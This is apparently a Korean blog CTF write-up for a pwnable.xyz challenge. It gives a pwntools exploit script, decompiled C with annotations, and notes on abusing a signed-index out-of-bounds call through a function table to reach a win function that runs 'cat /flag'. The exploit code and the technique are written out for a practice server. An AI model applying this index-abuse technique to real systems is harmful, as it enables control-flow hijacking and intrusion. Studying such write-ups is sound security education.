from pwn import *
p = remote("svc.pwnable.xyz", 30007)
p.sendlineafter("Exit", "1")
p.sendlineafter("Size: ", "0x400a31")
# unsigned_long(8B)에선 4294967294
# signed_int(4B)에선 -2
p.sendlineafter("Exit", "0xfffffffe")
p.interactive()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]
setup(argc, argv, envp);
while ( 1 )
{
print_menu();
printf("> ");
v3 = read_long();
if ( v3 <= 4 ) {
// 전역변수, .data: 0x6020C0
// do_exit, do_malloc, do_free, do_read, do_write 주소(8B씩) 들어있음
vtable[v3]();
}
else puts("Invalid.");
}
}
int print_menu()
{
return puts("1. Malloc\n2. Free\n3. Read\n4. Write\n0. Exit");
}
unsigned __int64 read_long()
{
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(s, 0, 0x20uLL);
// 마지막 byte는 NULL로
s[(int)(read(0, s, 0x20uLL) - 1)] = 0;
// string to unsigned long, (변환할 문자열, 변환 멈춘 지점의 포인터를 넘겨줄 대상[char**], base)
// base=0이면 입력한 스트림 첫부분에 의해 유연하게~ (0x면 16, 0x는 아닌데 0으로 시작하면 8, 아니면 10)
return strtoul(s, 0LL, 0);
}
void *do_malloc()
{
void *result; // rax
printf("Size: ");
// 전역변수, .data: 0x6020B0
size = read_long();
// cf) malloc 가능한 최대 크기는 0xfeff90 바이트이다
result = malloc(size);
if ( result )
// 전역변수, .data: 0x6020B8
heap_buffer = result;
else
heap_buffer = (void *)1;
return result;
}
void do_free()
{
if ( heap_buffer == (void *)1 )
{
puts("Not allocated.");
}
else
{
free(heap_buffer);
heap_buffer = (void *)1;
}
}
int do_read()
{
if ( heap_buffer == (void *)1 )
return puts("Not allocated.");
else
return read(0, heap_buffer, size);
}
int do_write()
{
if ( heap_buffer == (void *)1 )
return puts("Not allocated.");
else
return write(1, heap_buffer, size);
}
void __noreturn do_exit()
{
puts("Bye.");
exit(1);
}
int _() // 0x400a31
{
return system("cat /flag");
}
Partial RELRO Canary found NX enabled No PIE
- 전역변수 size_t size, void* heap_buffer, vtable[4]가 메모리 상 연속해있다
- 0x400a31 주소를 got에 overwrite 할 수도 있겠네
- size를 엄청 크게 줘서 vtable[0]까지 overwrite? size 길이 제한 있어서 힘들겠네..
- oob 이용해서 풀자!
- vtable[v3](); 에서 v3은 signed int이다, 하지만 v3에는 unsigned long을 입력받을 수 있다
- index가 음수이면? heap_buffer, size 전역변수에도 접근 가능하다 (v3<=4 인지만 검사해서 취약)
pwndbg> p/x 0xffffffff-0x2+0x1
$1 = 0xfffffffe
- size 변수에 0x400a31 주소 넣어두고, v3에 -2를 넣어 vtable[-2]() 실행시키자
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - fspoo (0) | 2023.02.09 |
---|---|
pwnable.xyz - l33t-ness (0) | 2023.02.07 |
pwnable.xyz - TLSv00 (0) | 2023.02.05 |
pwnable.xyz - free spirit (0) | 2023.02.05 |
pwnable.xyz - xor (0) | 2023.02.05 |